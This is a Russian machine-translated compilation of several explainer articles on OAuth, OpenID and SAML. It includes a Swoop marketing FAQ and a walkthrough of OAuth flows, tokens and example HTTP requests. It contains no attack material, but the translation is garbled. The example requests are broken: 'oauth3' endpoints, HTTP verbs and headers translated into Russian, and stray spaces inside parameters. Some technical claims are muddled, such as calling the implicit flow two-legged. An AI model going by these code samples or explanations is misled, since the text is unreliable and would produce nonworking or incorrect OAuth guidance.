Если OAuth используется для авторизации, OpenID используется для аутентификации. Созданный в 2005 году для входа в LiveJournal, один из первых веб-сайтов для ведения блогов, OpenID был принят как способ входа с одним и тем же именем пользователя и паролем на нескольких сайтах.

По иронии судьбы, пользователи Интернета все равно это делают. Когда предлагается создать новое имя пользователя и пароль для веб-сайта, они часто по умолчанию используют те же учетные данные, которые они неоднократно использовали с другими сайтами. Хотя это помогает им помнить свои учетные данные, практика также может сделать их уязвимыми для кибератак. Физический ввод учетных данных на веб-сайте, который также используется для нескольких других сайтов, увеличивает шансы злоумышленников перехватить конфиденциальные данные пользователя.

При атаке типа «злоумышленник посередине» кибератаки используют подслушивание Wi-Fi или захват сеанса для кражи учетных данных в надежде получить доступ на другие веб-сайты.

Со временем сообщество разработчиков потеряло энтузиазм по поводу OpenID, особенно после того, как Facebook и его скоро повсеместная возможность «Войти через Facebook» начали распространяться по всему Интернету. Однако вместо того, чтобы полностью отказаться от OpenID, в 2014 году разработчики выпустили обновленную версию в качестве уровня аутентификации для OAuth.В этой новой версии OpenID и OAuth дополняют друг друга.

Язык разметки утверждения безопасности (SAML) — еще одна технология, часто обсуждаемая в том же контексте, что и OAuth. SAML — это протокол, который позволяет поставщику удостоверений (IdP) пересылать учетные данные пользователя поставщику услуг (SP) для выполнения как аутентификации, так и авторизации для этого пользователя для доступа к услуге. SAML использует расширяемый язык разметки (XML) для стандартизации взаимодействия между различными системами.

Поскольку открытая авторизация выполняет только авторизацию, SP потребуется дополнительный уровень аутентификации, такой как OpenID, для выполнения аутентификации. SAML может самостоятельно обеспечивать функцию единого входа (SSO).

SAML

старше других протоколов фреймворка, и, поскольку он чаще используется в корпоративных приложениях, сообщество разработчиков стремилось создать более легкую и ориентированную на потребителя фреймворк, тем более что потребители все чаще получают доступ к сайтам и приложениям с использованием различных конечных точек, как личных, так и корпоративный.OAuth использует для кодирования данных более легкий открытый стандартный формат файла JSON, который также лучше работает на мобильных устройствах.

Обратите внимание, что со всеми этими технологиями это не сценарий «либо-либо», потому что компании могут использовать все три решения для достижения разных целей.

Что такое OAuth? | Часто задаваемые вопросы и рекомендации по открытой авторизации

Впервые выпущенная в 2007 году, открытая авторизация (сокращенно OAuth) стала основным протоколом авторизации на многих веб-сайтах, в приложениях и даже на мобильных устройствах, особенно для разработчиков, желающих сотрудничать с другими организациями.

Все мы знаем главное правило — никогда не сообщать свой пароль — и это как никогда верно! Несмотря на свою популярность, пароли не так безопасны, как мы когда-то думали. Фактически, около 90% паролей, сгенерированных пользователями, уязвимы для взлома из-за слабых учетных данных, созданных пользователями.

Таким образом, OAuth является важной частью аутентификации веб-сайта любой организации, поскольку защищает учетные данные пользователей. Тем не менее, этот конкретный метод и то, как он работает на самом деле, часто вызывает путаницу.

Если ваш веб-сайт требует входа в систему для доступа к определенной информации (такой как профиль в социальных сетях, учетная запись онлайн-банка или сайт электронной коммерции), понимание того, как работает OAuth, имеет решающее значение. Используя его в процессе аутентификации вашего веб-сайта, вы можете одновременно улучшить взаимодействие с пользователем. и защищают конфиденциальные данные пользователей.

Вот почему мы составили это исчерпывающее руководство, чтобы помочь вам лучше понять OAuth — и то, как реализовать его для вашего собственного процесса аутентификации.Давайте рассмотрим следующие часто задаваемые вопросы об открытой авторизации:

1. Что такое OAuth?
2. Для чего используется OAuth?
3. Как работает OAuth?
4. Почему OAuth популярен?
5. Насколько безопасен OAuth?
6. Что можно улучшить с помощью OAuth?

Многие темы, обсуждаемые в этом руководстве, требуют некоторых базовых знаний о безопасности аутентификации и авторизации (а также о ключевых различиях между ними). Прежде чем приступить к делу, вы можете воспользоваться нашим подробным руководством, чтобы освежить в памяти темы.В противном случае, приступим?

1. Что такое OAuth?

Открытая авторизация (или для краткости OAuth) — это тип аутентификации на основе токенов, который позволяет организациям обмениваться информацией между сторонними службами, не раскрывая имена пользователей и / или пароли своих пользователей. По сути, OAuth — это посредник, который предоставляет сторонним сервисам токен, который позволяет делиться только определенной информацией учетной записи.

Другими словами, OAuth — это процесс, в котором пользователи предоставляют веб-сайтам или приложениям доступ к информации на другом веб-сайте без предоставления учетных данных. Затем OAuth гарантирует, что веб-сайт, запрашивающий информацию, имеет необходимые разрешения для доступа к данным пользователя.

Что такое OAuth 2.0?

OAuth 2.0 — это переработанная версия оригинального протокола открытой авторизации 2012 года, которая обеспечивает более комплексное решение как для современных веб-клиентов, так и для других клиентов. OAuth 2.0 — это текущий отраслевой стандарт для программного обеспечения авторизации.

В настоящее время термин «OAuth» обычно относится к OAuth 2.0, а не исходный протокол. Проходя оставшуюся часть этого руководства, имейте в виду, что мы также обсуждаем текущий отраслевой стандартный протокол OAuth 2.0.

2. Для чего используется OAuth?

Вы, вероятно, использовали OAuth, даже не осознавая этого. Например, всякий раз, когда вы даете веб-сайту разрешение на доступ к вашей информации в Facebook, вы используете открытую авторизацию. Этот протокол полезен, потому что он позволяет вам делиться ограниченным объемом информации со сторонним сайтом, а не предоставлять им полный контроль над вашей учетной записью с вашими учетными данными.

Распространенное заблуждение относительно OAuth состоит в том, что этот процесс также проверяет личность пользователя, иначе известную как аутентификация. В результате OAuth часто путают с аутентификацией с единым входом (SSO). Хотя эти два процесса очень похожи и даже имеют некоторые общие характеристики, у них есть одно ключевое различие: SSO аутентифицирует пользователей, тогда как OAuth авторизует пользователей.

Чтобы лучше понять разницу, давайте сначала разберем, что означают аутентификация и авторизация:

• Аутентификация — это акт проверки личности пользователя.Когда пользователь вводит свое имя пользователя и пароль (или использует учетные данные без пароля), веб-сайт использует эту информацию, чтобы подтвердить, что человек является предполагаемым пользователем, сравнивая ее с защищенной базой данных учетных данных пользователя.
• Авторизация, с другой стороны, , происходит после аутентификации пользователя. Это когда система проверяет, какие разрешения есть у пользователя. Разрешения пользователя определяют, что человек видит и какие действия он может предпринять на веб-сайте после того, как вы подтвердите, что они такие, какими они себя называют.

Самый простой способ сравнить и сопоставить эти два термина: аутентификация спрашивает пользователя: «Кто вы?» в то время как авторизация спрашивает: «Что вам разрешено делать?» Таким образом, авторизация без аутентификации невозможна. Однако простой аутентификации недостаточно для защиты учетных записей и предоставления определенных разрешений, поэтому два процесса работают рука об руку.

OAuth служит для обеспечения того, чтобы сторонние веб-сайты имели необходимые разрешения для доступа к информации пользователя после того, как его личность была подтверждена с использованием метода проверки подлинности .

3. Как работает OAuth?

Если вы кое-что знаете об аутентификации на основе токенов, то OAuth довольно просто понять. Процесс, в котором веб-сайт получает токен, называется потоком, и в потоке OAuth есть три ключевых игрока: пользователь, потребитель и поставщик услуг.

Чтобы лучше объяснить, как работает этот процесс, представим, что ваша организация (пользователь) хочет использовать инструмент управления социальными сетями для планирования и публикации ваших публикаций в Facebook.В этом примере Facebook является поставщиком услуг, а инструмент управления социальными сетями — потребителем запрашиваемых данных.

Вот как будет работать процесс OAuth:

1. Пользователь запрашивает действие. На этом начальном этапе вы сообщите инструменту управления социальными сетями, что вы хотите автоматически публиковать сообщения, используя их службу.
2. Потребитель получает разрешение от поставщика услуг. Инструмент управления социальными сетями запросит у Facebook разрешение на доступ к вашей учетной записи и публикацию сообщений.В ответ Facebook отправит им токен с уникальной подписью или секретным кодом, который проверяет действия инструмента управления.
3. Пользователь перенаправляется к поставщику услуг. Как только инструмент управления социальными сетями получит токен, он перенаправит вас на страницу входа в Facebook.
4. Пользователь дает разрешение потребителю. Когда вы будете перенаправлены на страницу входа в Facebook, он запросит ваше имя пользователя и пароль и подтвердит, что вы хотите, чтобы инструмент управления социальными сетями мог публиковать сообщения от вашего имени.Как только разрешение будет предоставлено, токен будет утвержден и использоваться каждый раз, когда инструмент управления социальными сетями делает запрос.
5. Потребитель получает доступ к защищенным разрешениям. Теперь, когда у инструмента управления социальными сетями есть токен, он может выполнять задачи, потому что токен делегирует, к каким разрешениям у него есть доступ.

Важно отметить, что никогда в ходе этого взаимодействия вам не приходилось вводить учетные данные для входа в инструмент управления социальными сетями. Вместо этого токен действует как заполнитель, который также гарантирует, что у потребителя (или стороннего приложения) никогда не будет полного доступа к вашей учетной записи.

Например, если инструмент управления социальными сетями сделал запрос на изменение настроек вашей учетной записи Facebook, это действие будет отклонено, поскольку в токене указано только, что у потребителя есть разрешение на размещение сообщений от вашего имени.

Swoop — это простой и безопасный сервис аутентификации без пароля.Благодаря нашей запатентованной технологии Magic Link ™ и Magic Message ™ ваш веб-сайт может повысить безопасность и повысить конверсию клиентов за счет удаления паролей. Попробуйте Swoop за Бесплатно

4. Почему OAuth популярен?

Чтобы понять, почему OAuth так популярен, мы должны взглянуть на то, как информация передавалась до его существования. Если пользователь хотел передать информацию из одной учетной записи в другую, он должен был предоставить свои учетные данные стороннему веб-сайту. В результате многие не заслуживающие доверия веб-сайты воспользовались этой слабостью и использовали учетные данные человека для получения конфиденциальной информации.

Кроме того, этот устаревший процесс не ограничивает действия, которые может выполнять другой веб-сайт. С вашим именем пользователя и паролем сторонний веб-сайт может:

• Внесите изменения в свои настройки
• Доступ к конфиденциальной информации, такой как номер кредитной карты
• Измените свои учетные данные и заблокируйте доступ к учетной записи

OAuth возник как процесс, который не обменивался учетными данными и определял, что было на веб-сайте умение делать. Наличие безопасного способа обмена информацией на разных веб-сайтах означает, что компании и приложения могут чаще сотрудничать и предоставлять более удобные и оптимизированные услуги для своих пользователей.

OAuth не только упрощает сторонним веб-сайтам получение необходимой информации, но также делает процесс более удобным для пользователя. OAuth — популярное решение как для веб-сайтов, так и для пользователей, поскольку оно более безопасно, чем совместное использование учетных данных, и позволяет пользователям использовать сервисы на нескольких платформах.

5. Насколько безопасен OAuth?

Поскольку OAuth не передает ваши учетные данные другим веб-сайтам, он более безопасен, чем упомянутый выше альтернативный метод (предоставление учетных данных для входа на сторонний веб-сайт). Однако важно знать, что у OAuth есть свои слабые места — одна из самых важных, возникающих на этапе, когда пользователи перенаправляются на веб-сайт поставщика услуг для ввода своих учетных данных.

Вернемся к нашему примеру во втором разделе:

Если инструмент управления социальными сетями, запрашивающий доступ к вашим данным Facebook, оказался вредоносным веб-сайтом, он может направить пользователей на сайт, который выглядит так же, как Facebook, но на самом деле таковым не является.Когда вы входите в систему, вредоносный веб-сайт обрабатывает и сохраняет ваше имя пользователя и пароль. Вот почему всегда важно убедиться, что вы перенаправляетесь на правильный веб-сайт, когда вы предоставляете доступ потребителю.

Кроме того, без соответствующих спецификаций токены OAuth не имеют срока действия. В результате эти токены уязвимы для атак. Если хакер получит доступ к токену или секрету, который проверяет токен, он сможет обманом заставить систему делать неавторизованные запросы.

Поскольку хакеры умны и постоянно открывают новые способы получения доступа к учетным данным и личным учетным записям пользователей, не существует метода аутентификации или авторизации, который был бы полностью надежным. Однако это не означает, что все методы без пароля или на основе токенов небезопасны. Технологии киберпреступников развиваются так же, как и наша. Это просто означает, что вы, как разработчик или веб-дизайнер, должны быть в курсе новых и развивающихся практик, чтобы минимизировать риск для вас и ваших пользователей.

6. Как повысить безопасность с помощью OAuth?

Многие другие методы на основе токенов, такие как аутентификация по электронной почте, предоставляют пользователям безопасный способ проверки личности без особого риска. Допустим, вы хотели, чтобы пользователи могли входить в свои учетные записи без имени пользователя или пароля .

Аутентификация электронной почты позволяет пользователям завершить процесс входа в систему, используя свою личную учетную запись электронной почты, тем самым повышая безопасность и уменьшая необходимость запоминания другого набора учетных данных.

Вот как работает процесс аутентификации электронной почты Swoop Magic Message ™:

1. Пользователь перенаправляется на службу Swoop через протокол OAuth 2.0 для аутентификации.
2. В окне браузера пользователь нажимает кнопку «Отправить волшебное сообщение»: Кнопка активирует ссылку mailto, которая генерирует заранее написанное электронное письмо для отправки пользователем.
3. Пользователь отправляет электронное письмо: Здесь происходит волшебство.После отправки электронной почты сервер исходящей электронной почты генерирует и встраивает полностью зашифрованный цифровой ключ размером 1024/2048 бит в заголовок электронного письма. Сервер аутентификации Swoop следует криптографической процедуре с открытым ключом для расшифровки этого ключа. Каждое отправленное письмо получает уникальный ключ для этого сообщения. Уровень безопасности этих зашифрованных ключей несравним с традиционными паролями.
4. Пользователь вошел в свою учетную запись: Когда ключ расшифровывает и проходит все уровни проверки, сервер аутентификации Swoop дает указание веб-сайту открыть учетную запись пользователя и начать сеанс.Все это происходит в считанные секунды и значительно упрощает взаимодействие с пользователем.

Волшебная система аутентификации электронной почты Swoop стала возможной благодаря созданию в сочетании с сверхбезопасным протоколом авторизации OAuth. Кроме того, она более удобна для пользователя, чем традиционная система на основе паролей, поскольку в первую очередь пользователю требуется на один набор учетных данных меньше!

---

Теперь, когда вы знакомы с тонкостями OAuth, вы готовы повысить безопасность своего веб-сайта и повысить удобство работы пользователей. Для получения дополнительной информации о протоколах аутентификации и безопасности веб-сайтов, посетите эти дополнительные ресурсы:

Что, черт возьми, такое OAuth?

Существует много путаницы в отношении того, что на самом деле означает OAuth.

Некоторые люди думают, что OAuth — это процесс входа в систему (например, когда вы входите в приложение с помощью входа в Google), а некоторые люди думают о OAuth как о «элементе безопасности» , и на самом деле не знают ничего большего, чем это.

Я собираюсь показать вам, что такое OAuth, объяснить, как он работает, и, надеюсь, расскажу, как и где OAuth может помочь вашему приложению.

Что такое OAuth?

Для начала, OAuth — это , а не API или служба: это открытый стандарт авторизации, и любой может его реализовать.

В частности, OAuth — это стандарт, который приложения могут использовать для предоставления клиентским приложениям «безопасного делегированного доступа». OAuth работает через HTTPS и авторизует устройства, API, серверы и приложения с помощью токенов доступа, а не учетных данных.

Существует две версии OAuth: OAuth 1.0a и OAuth 2.0. Эти спецификации полностью отличаются друг от друга и не могут использоваться вместе: между ними отсутствует обратная совместимость .

Какой из них более популярен? Отличный вопрос! В настоящее время OAuth 2.0 является наиболее широко используемой формой OAuth. Так что с этого момента, когда я говорю «OAuth», я говорю об OAuth 2.0 — так как это, скорее всего, то, что вы будете использовать.

Почему OAuth?

OAuth был создан как ответ на шаблон прямой аутентификации.Этот шаблон стал известен благодаря базовой аутентификации HTTP, когда пользователю предлагается ввести имя пользователя и пароль. Базовая проверка подлинности по-прежнему используется в качестве примитивной формы проверки подлинности API для серверных приложений: вместо отправки имени пользователя и пароля на сервер с каждым запросом пользователь отправляет идентификатор ключа API и секрет. До OAuth сайты предлагали вам ввести имя пользователя и пароль прямо в форму, и они входили в ваши данные (например, в вашу учетную запись Gmail) как вы.Это часто называют анти-шаблоном пароля.

Чтобы создать лучшую систему для Интернета, была создана федеративная идентификация для единого входа (SSO). В этом сценарии конечный пользователь разговаривает со своим поставщиком удостоверений, и поставщик удостоверений генерирует криптографически подписанный токен, который передает приложению для аутентификации пользователя. Приложение доверяет поставщику удостоверений. Пока эти доверительные отношения работают с подписанным утверждением, все в порядке. На схеме ниже (из документации Okta по OAuth) показано, как это работает.

Федеративная идентификация прославилась благодаря SAML 2.0, стандарту OASIS, выпущенному 15 марта 2005 года. Это обширная спецификация, но основными двумя компонентами являются протокол запроса аутентификации (он же Web SSO) и способ упаковки атрибутов идентификации и их подписи. называется утверждениями SAML. Okta делает это с помощью своих шиклетов SSO. Мы отправляем сообщение, мы подписываем утверждение, внутри утверждения написано, кто пользователь и что оно пришло из Okta. Поставьте на него цифровую подпись, и все готово.

САМЛ

SAML — это, по сути, файл cookie сеанса в вашем браузере, который дает вам доступ к веб-приложениям. Он ограничен по типам профилей устройств и сценариям, которые вы, возможно, захотите использовать за пределами веб-браузера.

Когда SAML 2.0 был запущен в 2005 году, это имело смысл. Однако с тех пор многое изменилось. Теперь у нас есть современные веб-платформы и платформы для разработки нативных приложений. Существуют одностраничные приложения (SPA), такие как Gmail / Google Inbox, Facebook и Twitter. Их поведение отличается от поведения вашего традиционного веб-приложения, поскольку они выполняют AJAX (фоновые HTTP-вызовы) API.Мобильные телефоны также выполняют вызовы API, как и телевизоры, игровые консоли и устройства Интернета вещей. Система единого входа на базе SAML не очень хороша для этого.

OAuth и API

Многое изменилось и в том, как мы создаем API. В 2005 году люди инвестировали в WS- * для создания веб-сервисов. Теперь большинство разработчиков перешли на REST и API без сохранения состояния. Вкратце, REST — это HTTP-команды, передающие пакеты JSON по сети.

Разработчики создают множество API. Экономика API — это обычное модное слово, которое сегодня можно услышать в залах заседаний.Компаниям необходимо защищать свои REST API таким образом, чтобы к ним могли получить доступ многие устройства. Раньше вы вводили каталог со своим именем пользователя и паролем, и приложение входило в систему напрямую от вашего имени. Это привело к проблеме делегированной авторизации.

«Как я могу разрешить приложению доступ к моим данным, не сообщая при этом свой пароль?»

Если вы когда-нибудь видели один из приведенных ниже диалогов, мы говорим именно об этом. Это приложение, которое спрашивает, может ли оно получить доступ к данным от вашего имени.

Это OAuth.

OAuth — это платформа делегированной авторизации для REST / API. Это позволяет приложениям получать ограниченный доступ (области) к данным пользователя, не раскрывая пароль пользователя. Он отделяет аутентификацию от авторизации и поддерживает несколько вариантов использования, касающихся различных возможностей устройства. Он поддерживает межсерверные приложения, приложения на основе браузера, мобильные / нативные приложения и консоли / телевизоры.

Вы можете думать об этом как о карточках-ключах от отелей, но только для приложений. Если у вас есть ключ-карта отеля, вы можете попасть в свой номер.Как получить ключ-карту от отеля? Вы должны пройти аутентификацию на стойке регистрации, чтобы получить его. После аутентификации и получения ключа-карты вы можете получить доступ к ресурсам на всей территории отеля.

Проще говоря, OAuth — это где:

1. Приложение запрашивает авторизацию у пользователя.
2. Пользователь авторизует приложение и предоставляет доказательства.
Приложение
3. представляет подтверждение авторизации серверу для получения токена.
Маркер
4. ограничен для доступа только к тому, что Пользователь авторизовал для конкретного приложения.

Центральные компоненты OAuth

OAuth построен на следующих центральных компонентах:

• Объем и согласие
• Актеры
• Клиенты
• жетонов
• Сервер авторизации
• Потоки

Области действия OAuth

Области — это то, что вы видите на экранах авторизации, когда приложение запрашивает разрешения. Это пакеты разрешений, запрашиваемые клиентом при запросе токена. Они кодируются разработчиком приложения при написании приложения.

Области отделяют решения политики авторизации от принудительного исполнения. Это первый ключевой аспект OAuth. Разрешения передние и центральные. Они не скрыты за слоем приложения, который вам нужно перепроектировать. Они часто упоминаются в документации по API: вот области, которые требуются для этого приложения.

Вы должны получить это согласие. Это называется доверием при первом использовании. Это довольно значительное изменение пользовательского опыта в Интернете. Большинство людей до OAuth использовалось только для ввода имени и пароля в диалоговых окнах.Теперь у вас есть новый экран, который появляется, и вам нужно научить пользователей пользоваться им. Переучить интернет-население сложно. Есть самые разные пользователи, от технически подкованной молодежи до бабушек и дедушек, которые не знакомы с этим процессом. Это новая концепция в Интернете, которая теперь находится в центре внимания. Теперь вам нужно авторизовать и принести согласие.

Согласие может варьироваться в зависимости от приложения. Это может быть диапазон, зависящий от времени (день, недели, месяцы), но не все платформы позволяют выбрать продолжительность.Когда вы даете согласие, нужно следить за тем, чтобы приложение могло делать что-то от вашего имени, например LinkedIn рассылает спам всем в вашей сети.

OAuth — это масштабируемое интернет-решение, поскольку оно предназначено для каждого приложения. Часто у вас есть возможность войти в панель управления, чтобы увидеть, к каким приложениям вам предоставлен доступ, и отозвать согласие.

Актеры OAuth

Действующие лица в потоках OAuth следующие:

• Владелец ресурса : владеет данными на сервере ресурсов.Например, я владелец ресурса своего профиля в Facebook.
• Сервер ресурсов : API, в котором хранятся данные, к которым приложение хочет получить доступ.
• Клиент : приложение, которое хочет получить доступ к вашим данным.
• Сервер авторизации : основной механизм OAuth.

Владелец ресурса — это роль, которая может меняться с разными учетными данными. Это может быть конечный пользователь, но также может быть компания.

Клиенты могут быть публичными и конфиденциальными.В номенклатуре OAuth существует существенное различие между ними. Конфиденциальным клиентам можно доверить хранение секретов. Они не работают на компьютере и не распространяются через магазин приложений. Люди не могут перепроектировать их и получить секретный ключ. Они работают в защищенной зоне, где конечные пользователи не могут получить к ним доступ.

Общедоступные клиенты — это браузеры, мобильные приложения и устройства Интернета вещей.

Регистрация клиента также является ключевым компонентом OAuth. Это похоже на DMV OAuth. Вам необходимо получить номерной знак для вашего приложения.Вот как логотип вашего приложения отображается в диалоговом окне авторизации.

токенов OAuth

Маркер доступа — это маркер, который клиент использует для доступа к серверу ресурсов (API). Они должны быть недолговечными. Думайте о них в часах и минутах, а не днях и месяцах. Для получения токена доступа вам не нужен конфиденциальный клиент. Вы можете получить токены доступа с публичными клиентами. Они созданы для решения проблем с масштабированием Интернета. Поскольку эти токены могут быть недолговечными и масштабироваться, их нельзя отозвать, вам просто нужно подождать, пока они истекут.

Другой токен — это токен обновления. Это намного дольше; дни, месяцы, годы. Это можно использовать для получения новых токенов. Чтобы получить токен обновления, приложениям обычно требуются конфиденциальные клиенты с аутентификацией.

Жетоны обновления могут быть отозваны. Отменяя доступ к приложению на панели инструментов, вы убиваете его токен обновления. Это дает вам возможность заставить клиентов менять секреты. Вы используете свой токен обновления для получения новых токенов доступа, а токены доступа проходят по сети, чтобы поразить все ресурсы API.Каждый раз, когда вы обновляете свой токен доступа, вы получаете новый токен с криптографической подписью. Ротация ключей встроена в систему.

Спецификация OAuth не определяет, что такое токен. Он может быть в любом формате. Однако обычно вы хотите, чтобы эти токены были веб-токенами JSON (стандарт). Вкратце, JWT (произносится как «джот») — это безопасный и заслуживающий доверия стандарт аутентификации токена. JWT позволяют подписывать информацию цифровой подписью (называемой утверждениями) с помощью подписи и могут быть проверены позже с помощью секретного ключа подписи.Чтобы узнать больше о JWT, см. Руководство для начинающих по JWT в Java.

токенов получены с конечных точек на сервере авторизации. Две основные конечные точки — это конечная точка авторизации и конечная точка токена. Они разделены для разных сценариев использования. Конечная точка авторизации — это то место, куда вы переходите, чтобы получить согласие и авторизацию от пользователя. Это возвращает разрешение на авторизацию, в котором говорится, что пользователь согласился на это. Затем авторизация передается конечной точке токена. Конечная точка токена обрабатывает грант и говорит: «Отлично, вот ваш токен обновления и ваш токен доступа.”

Вы можете использовать токен доступа для доступа к API. Когда он истечет, вам нужно будет вернуться к конечной точке токена с токеном обновления, чтобы получить новый токен доступа.

Обратной стороной является сильное трение проявителя. Одна из самых больших проблем OAuth для разработчиков — это управление токенами обновления. Вы передаете управление состоянием каждому клиентскому разработчику. Вы получаете преимущества ротации ключей, но только что доставили много хлопот разработчикам. Вот почему разработчики любят ключи API.Они могут просто скопировать / вставить их, вставить в текстовый файл и покончить с ними. Ключи API очень удобны для разработчика, но очень вредны для безопасности.

Здесь проблема с оплатой. Если заставить разработчиков выполнять потоки OAuth, повышается безопасность, но возникает больше трений. Наборы инструментов и платформы позволяют упростить работу и помочь с управлением токенами. К счастью, в наши дни OAuth достаточно развит, и, скорее всего, в вашем любимом языке или фреймворке есть инструменты для упрощения.

Мы немного поговорили о типах клиентов, типах токенов и конечных точках сервера авторизации, а также о том, как передать это на сервер ресурсов. Я упомянул два разных потока: получение авторизации и получение токенов. Это не обязательно должно происходить на одном канале. Передний канал — это то, что проходит через браузер. Браузер перенаправил пользователя на сервер авторизации, пользователь дал согласие. Это происходит в браузере пользователя. Как только пользователь берет это разрешение на авторизацию и передает его приложению, клиентскому приложению больше не нужно использовать браузер для завершения потока OAuth для получения токенов.

Маркеры предназначены для использования клиентским приложением, чтобы оно могло получать доступ к ресурсам от вашего имени. Мы называем это обратным каналом. Обратный канал — это HTTP-вызов непосредственно от клиентского приложения к серверу ресурсов для обмена предоставлением авторизации для токенов. Эти каналы используются для разных потоков в зависимости от возможностей вашего устройства.

Например, поток переднего канала, в котором вы авторизуетесь через пользовательский агент, может выглядеть следующим образом:

1. Владелец ресурса запускает поток для делегирования доступа к защищенному ресурсу.
2. Клиент отправляет запрос авторизации с желаемыми областями через перенаправление браузера на конечную точку авторизации на сервере авторизации.
Сервер авторизации
3. возвращает диалоговое окно согласия с вопросом «разрешаете ли вы этому приложению доступ к этим областям?» Конечно, вам необходимо пройти аутентификацию в приложении, поэтому, если вы не аутентифицированы на своем сервере ресурсов, он попросит вас войти в систему. Если у вас уже есть кэшированный файл cookie сеанса, вы просто увидите согласие диалоговое окно.Просмотрите диалоговое окно согласия и согласитесь.
4. Разрешение на авторизацию передается обратно в приложение через перенаправление браузера. Все это происходит на переднем канале.

В этом потоке также есть отклонение, называемое неявным потоком. Мы вернемся к этому через минуту.

Вот как это выглядит на проводе.

Запрос

ПОЛУЧИТЬ https://accounts.google.com/o/oauth3/auth?scope=gmail.insert gmail.send & redirect_uri = https: // app.example.com/oauth3/callback & response_type = код & client_id = 812741506391 & state = af0ifjsldkj Это запрос GET с набором параметров запроса (не в кодировке URL, например). Области действия взяты из API Gmail. Redirect_uri — это URL-адрес клиентского приложения, которому должно быть возвращено разрешение на авторизацию. Это должно соответствовать значению из процесса регистрации клиента (в DMV). Вы не хотите, чтобы авторизация возвращалась стороннему приложению.Тип ответа зависит от потоков OAuth. Идентификатор клиента также получен из процесса регистрации. Состояние — это флаг безопасности, аналогичный XRSF. Чтобы узнать больше о XRSF, см. «Объяснение подделки межсайтовых запросов» от DZone.

Ответ

HTTP / 1.1 302 Найдено Расположение: https://app.example.com/oauth3/callback? code = MsCeLvIaQm6bTrgtp7 & state = af0ifjsldkj Возвращенный код — это разрешение на авторизацию, а состояние - , чтобы гарантировать, что он не подделан и не получен из того же запроса.

После завершения работы с передним каналом происходит поток по обратному каналу, в котором код авторизации обменивается на токен доступа.

Клиентское приложение отправляет запрос маркера доступа конечной точке маркера на сервере авторизации с конфиденциальными учетными данными и идентификатором клиента. Этот процесс обменивает предоставление кода авторизации на токен доступа и (необязательно) токен обновления. Клиент обращается к защищенному ресурсу с помощью токена доступа.

Ниже показано, как это выглядит в чистом HTTP.

Запрос

POST / oauth3 / v3 / токен HTTP / 1.1 Хост: www.googleapis.com Тип содержимого: application / x-www-form-urlencoded code = MsCeLvIaQm6bTrgtp7 & client_id = 812741506391 & client_secret = {client_secret} & redirect_uri = https: //app.example.com/oauth3/callback&grant_type=authorization_code Грант-тип OAuth — это расширяемость. Это код авторизации с заранее вычисленной точки зрения. Это дает возможность по-разному описывать эти гранты.Это наиболее распространенный тип потока OAuth.

Ответ

{ "access_token": "2YotnFZFEjr1zCsicMWpAA", "token_type": "На предъявителя", "expires_in": 3600, "refresh_token": "tGzv3JOkF0XG5Qx2TlKWIA" } Ответ — JSON. Вы можете реагировать или активно использовать токены. Проактивно иметь таймер в вашем клиенте. Реактивный — это отловить ошибку и затем попытаться получить новый токен.

Если у вас есть маркер доступа, вы можете использовать маркер доступа в заголовке аутентификации (используя token_type в качестве префикса) для выполнения защищенных запросов ресурсов.

  curl -H "Авторизация: предъявитель 2YotnFZFEjr1zCsicMWpAA" \
  https://www.googleapis.com/gmail/v1/users/1444587525/messages  

Итак, теперь у вас есть передний канал, задний канал, разные конечные точки и разные клиенты. Вы должны смешивать и сопоставлять их для разных случаев использования. Это повышает сложность OAuth и может сбивать с толку.

Потоки OAuth

Самый первый поток — это то, что мы называем неявным потоком . Причина, по которой это называется неявным потоком, заключается в том, что все взаимодействие происходит через браузер.Нет никакого внутреннего сервера, который использовал бы разрешение на авторизацию для токена доступа. SPA — хороший пример использования этого потока. Этот поток также называется двухсторонним протоколом OAuth.

Неявный поток оптимизирован для общедоступных клиентов, работающих только в браузере. Маркер доступа возвращается непосредственно из запроса авторизации (только передний канал). Обычно он не поддерживает токены обновления. Предполагается, что владелец ресурса и публичный клиент находятся на одном устройстве. Поскольку все происходит в браузере, он наиболее уязвим для угроз безопасности.

Золотым стандартом является поток кода авторизации , также известный как 3-Legged, который использует как передний, так и задний канал. Это то, о чем мы больше всего говорили в этой статье. Поток переднего канала используется клиентским приложением для получения кода авторизации. Обратный канал используется клиентским приложением для обмена предоставленного кода авторизации на токен доступа (и, возможно, на токен обновления). Предполагается, что владелец ресурса и клиентское приложение находятся на разных устройствах.Это наиболее безопасный поток, потому что вы можете аутентифицировать клиента для погашения разрешения на авторизацию, а токены никогда не проходят через пользовательский агент. Существуют не только потоки неявного кода и кода авторизации, но и дополнительные потоки, которые можно выполнять с помощью OAuth. Опять же, OAuth — это скорее фреймворк.

Для сценариев «сервер-сервер» вы можете использовать Client Credential Flow . В этом сценарии клиентское приложение является конфиденциальным клиентом, который действует самостоятельно, а не от имени пользователя.Это скорее сценарий служебного аккаунта. Все, что вам нужно, это учетные данные клиента для выполнения всего процесса. Это только обратный канал для получения токена доступа с использованием учетных данных клиента. Он поддерживает общие секреты или утверждения в качестве учетных данных клиента, подписанных симметричными или асимметричными ключами.

Алгоритмы с симметричным ключом — это криптографические алгоритмы, которые позволяют расшифровать что угодно, если у вас есть пароль. Это часто встречается при защите файлов PDF или .zip.

Криптография с открытым ключом или асимметричная криптография — это любая криптографическая система, использующая пары ключей: открытые ключи и частные ключи. Открытые ключи может прочитать кто угодно, закрытые ключи священны для владельца. Это позволяет обеспечить безопасность данных без необходимости сообщать пароль.

Существует также устаревший режим под названием Resource Owner Password Flow . Это очень похоже на прямую аутентификацию с использованием имени пользователя и пароля и не рекомендуется. Это устаревший тип предоставления для собственных приложений с именем пользователя и паролем, например для настольных приложений.В этом потоке вы отправляете клиентскому приложению имя пользователя и пароль, и оно возвращает маркер доступа с сервера авторизации. Обычно он не поддерживает токены обновления и предполагает, что владелец ресурса и общедоступный клиент находятся на одном устройстве. Когда у вас есть API, который хочет говорить только по OAuth, но у вас есть клиенты старой школы, с которыми нужно иметь дело.

Более поздним дополнением к OAuth является поток утверждения , который аналогичен потоку учетных данных клиента. Это было добавлено, чтобы раскрыть идею федерации.Этот поток позволяет серверу авторизации доверять разрешениям на авторизацию от третьих сторон, таких как SAML IdP. Сервер авторизации доверяет поставщику удостоверений. Утверждение используется для получения токена доступа от конечной точки токена. Это отлично подходит для компаний, которые инвестировали в технологии SAML или SAML, и позволяют им интегрироваться с OAuth. Поскольку утверждения SAML недолговечны, в этом потоке нет токенов обновления, и вам придется получать токены доступа каждый раз, когда истекает срок действия утверждения.

